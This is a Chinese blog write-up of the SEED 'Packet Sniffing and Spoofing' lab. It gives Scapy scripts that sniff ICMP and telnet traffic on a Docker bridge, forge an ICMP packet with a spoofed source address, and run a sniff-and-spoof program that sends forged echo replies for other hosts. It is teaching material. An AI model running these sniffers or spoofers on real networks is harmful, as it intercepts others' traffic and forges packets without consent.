seedlab:Packet Sniffifing and Spoofifing Lab

本文档详细介绍了如何使用Scapy库在Docker环境中进行网络包嗅探和欺骗。实验涵盖了ICMP包的嗅探与伪造,特定IP和端口的TCP报文监听,特定子网报文的捕获,以及Traceroute的实现。通过这些任务,展示了网络攻击者可能使用的手段,如地址伪装和ICMP欺骗。
摘要由CSDN通过智能技术生成

Packet Sniffifing and Spoofifing Lab

Environment Setup

启动容器

dcbuild
dcup

ifconfig查看网桥信息
创建的网桥是br-93554a9ea50b
![[Pasted image 20220815154902.png]]

Lab Task Set 1: Using Scapy to Sniff and Spoof Packets

进入容器
![[Pasted image 20220815155342.png]]

Task 1.1: Sniffifing Packets

Task 1.1A

进入攻击主机
编写sniffer.py放入volumes(需要修改成自己的网桥)

#!/usr/bin/env python3
from scapy.all import *

def print_pkt(pkt):
    pkt.show()
    
pkt = sniff(iface='br-93554a9ea50b', filter='icmp', prn=print_pkt)

攻击主机开始监听
![[Pasted image 20220815160552.png]]

被攻击主机ping百度
![[Pasted image 20220815160643.png]]

可以在攻击主机中看到数据包
![[Pasted image 20220815160729.png]]

Task 1.1B
  • 只捕获ICMP包
#!/usr/bin/env python3
from scapy.all import *

def print_pkt(pkt):
    return pkt.summary()
    
pkt = sniff(iface='br-93554a9ea50b', filter='icmp', prn=print_pkt)
print(pkt)

攻击主机运行sniffer.py开始监听
被攻击主机ping www.baidu.com
![[Pasted image 20220815161332.png]]

  • 监听来自特定IP地址,端口为23的TCP报文
#!/usr/bin/env python3
from scapy.all import *

def print_pkt(pkt):
    return pkt.summary()
    
pkt = sniff(iface='br-93554a9ea50b', filter='tcp and src 10.9.0.10 and dst port 23', prn=print_pkt)
print(pkt)

开始监听后在被攻击主机上使用telnet连接网关
![[Pasted image 20220815162151.png]]

![[Pasted image 20220815162136.png]]

  • 监听某子网的报文
#!/usr/bin/env python3
from scapy.all import *

def print_pkt(pkt):
    return pkt.summary()
    
pkt = sniff(iface='br-93554a9ea50b', filter='net 128.230.0.0/16', prn=print_pkt)
print(pkt)

攻击主机开始监听后在被攻击主机上ping128.230.0.1
![[Pasted image 20220815162524.png]]

Task 1.2: Spoofifing ICMP Packets

修改sniffer.py并在攻击者主机上运行
![[Pasted image 20220815163000.png]]

在被攻击主机中创建spoof_icmp.py文件,并运行

from scapy.all import *

a=IP()
a.src='10.0.2.4'
a.dst='10.9.0.1'
b=ICMP()
p=a/b
send(p)

![[Pasted image 20220815164000.png]]

可以发现地址被伪造了
![[Pasted image 20220815164135.png]]

Task 1.3: Traceroute

在被监听主机上创建try_ttl.py文件

#!/usr/bin/env python3  
from scapy.all import *  
for i in range(1,30):   
    a=IP()  
    a.dst='202.108.2.5'  
    a.ttl=i  
    b=ICMP()  
    p=a/b  
    send(p)

在wireshark中开启监听网桥
被监听主机运行try_ttl.py后查看wireshark
在这里插入图片描述

Task 1.4: Sniffifing and-then Spoofifing

在被监听主机中ping 以下三个地址
发现只有第三个可以ping通

ping 1.2.3.4 # a non-existing host on the Internet

ping 10.9.0.99 # a non-existing host on the LAN

ping 8.8.8.8 # an existing host on the Internet

在attacker主机中创建sniff_and_spoof.py并运行

#!/usr/bin/env python3  
from scapy.all import *  
def spoof_pkt(pkt):  
    if ICMP in pkt and pkt[ICMP].type == 8:  
        print("Original Packet.......")  
        print("Source IP : ", pkt[IP].src)  
        print("Destination IP:", pkt[IP].dst)  
  
        ip = IP(src=pkt[IP].dst, dst=pkt[IP].src, ihl=pkt[IP].ihl)  
        icmp = ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq)  
        data = pkt[Raw].load  
        newpkt = ip/icmp/data  
  
        print("Spoofed Packet.......")  
       print("Source IP : ", newpkt[IP].src)  
        print("Destination IP : ", newpkt[IP].dst)  
        send(newpkt, verbose=0)  
  
pkt = sniff(iface='br-93554a9ea50b', filter='icmp', prn=spoof_pkt)

再次使用被监听主机ping 刚刚的三个地址
1.2.3.4可以ping通
![[Pasted image 20220815170733.png]]

10.9.0.99无法ping通
![[Pasted image 20220815170822.png]]

8.8.8.8 可以ping通,存在DUP标志
![[Pasted image 20220815170900.png]]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值